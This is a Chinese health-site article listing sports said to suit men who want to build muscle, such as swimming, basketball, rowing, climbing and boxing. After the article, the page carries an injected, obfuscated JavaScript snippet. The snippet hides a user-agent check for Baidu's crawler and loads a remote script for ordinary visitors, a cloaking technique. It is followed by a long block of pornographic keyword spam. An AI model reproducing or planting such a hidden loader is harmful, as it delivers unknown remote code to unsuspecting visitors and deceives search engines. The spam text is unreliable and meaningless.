當前位置:首頁 > 健康 > 運動健身 > 正文

男人健身運動是什么?

2017-04-14 20:05:21  來源:360常識網   熱度:
導語:提到健身,我們就可以想到很多肌肉發達的男性,男性對于肌肉的追求幾乎已經到達了癲狂的地步。很多人都認為肌肉是男人的象征,只有擁有強壯

提到健身,我們就可以想到很多肌肉發達的男性,男性對于肌肉的追求幾乎已經到達了癲狂的地步。很多人都認為肌肉是男人的象征,只有擁有強壯的肌肉,那么才能顯現自己的男子氣概。但是男人健身鍛煉肌肉也是很難的,所以掌握健身的方法很重要,下面我們就來介紹一些適合男性健身的運動方法。

游泳

這種全身鍛煉方式對加強心肺功能和全身肌肉耐力非常有效。科學的游泳方式是游一個來回,喘口氣再接著游下一個來回。

越野滑雪

雪地滑行能讓全身肌肉都得到鍛煉,地形條件的變化也讓大腿、背部和肩部的肌肉變得更加柔韌。

籃球

這項驟跑驟停的運動消耗能量大,能使肌肉的柔韌性增強,不足之處是膝蓋和背部受傷的幾率較大。專家建議打球前可做一些舉重練習,以提高肌肉的耐受能力。

自行車運動

這種無負重的有氧運動能提高人體心肺功能,但對上半身起不到鍛煉作用。

長跑

強心肺功能、鍛煉下半身及腰部功效顯著。專家建議從事這項運動的人應該輔以游泳、舉重等運動,以便讓全身都得到鍛煉。

打壁球

這種運動方便易學,并能有效加強心肺功能和下肢肌肉力量,同時還能提高背、腹的柔韌度。

劃艇

這種運動沒有負重,能鍛煉全身肌肉。劃艇運動安全性高,由于更多地運用了腿、背和手臂的技巧,所以劃艇選手往往不會膀大腰圓。

攀巖

這種有氧運動對體能的消耗極大,能鍛煉全身各處肌肉。攀巖前應該練習抓住巖石、舉重和引體向上的技巧。

拳擊運動

這項運動對身體各部分動作的協調配合要求較高,能夠使上半身得到很好的鍛煉。但因為它的危險性相對較大,所以在鍛煉的時候要注意戴好護腕,謹防二頭肌被撕裂。

文章中給大家介紹了一些比較適合男性進行的健身運動,其實很多的運動都是很適合男性的,比如快跑、打球、游泳、戶外等等,而且在健身房很多的器械也是可以鍛煉肌肉的,比如仰臥起坐、俯臥撐、臥推等等,要制定一個詳細的計劃,根據自己的情況來進行。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品久久久久久久网站| 99久久99热精品免费观看国产| 2020国产精品亚洲综合网| 国产精品区AV一区二区| 国产高清在线精品一区| 亚洲日韩精品无码专区网址| 国产精品乱子乱XXXX| 国产精品久久一区二区三区| 国产三级久久久精品麻豆三级| 国产精品久久久久网站| 精品黑人一区二区三区| 国产精品水嫩水嫩| 精品97国产免费人成视频| 99偷拍视频精品一区二区| 精品三级AV无码一区| 亚洲中文久久精品无码| 人人妻人人做人人爽精品| 亚洲av永久中文无码精品综合| 日韩国产成人精品视频| 国产精品自产拍高潮在线观看| 精品国产一区二区三区香蕉事 | 亚洲精品女同中文字幕| 久久99精品久久久久久青青日本| 久久99精品久久久久久野外| 国产青草亚洲香蕉精品久久| 无码国产精品一区二区免费式直播 | 精品国产性色无码AV网站| 98久久人妻无码精品系列蜜桃| 青青精品视频国产| 凹凸国产熟女精品视频app| 精品一区二区久久久久久久网精| 无码国产精品一区二区免费虚拟VR | 2020久久精品国产免费| 久久久精品国产sm调教网站| 国语自产拍精品香蕉在线播放| 精品久久久久久无码人妻热| 日韩精品一区二区三区不卡| 国产精品久久二区二区| 国产青草亚洲香蕉精品久久| 精品丝袜人妻久久久久久| 国自产精品手机在线视频香蕉|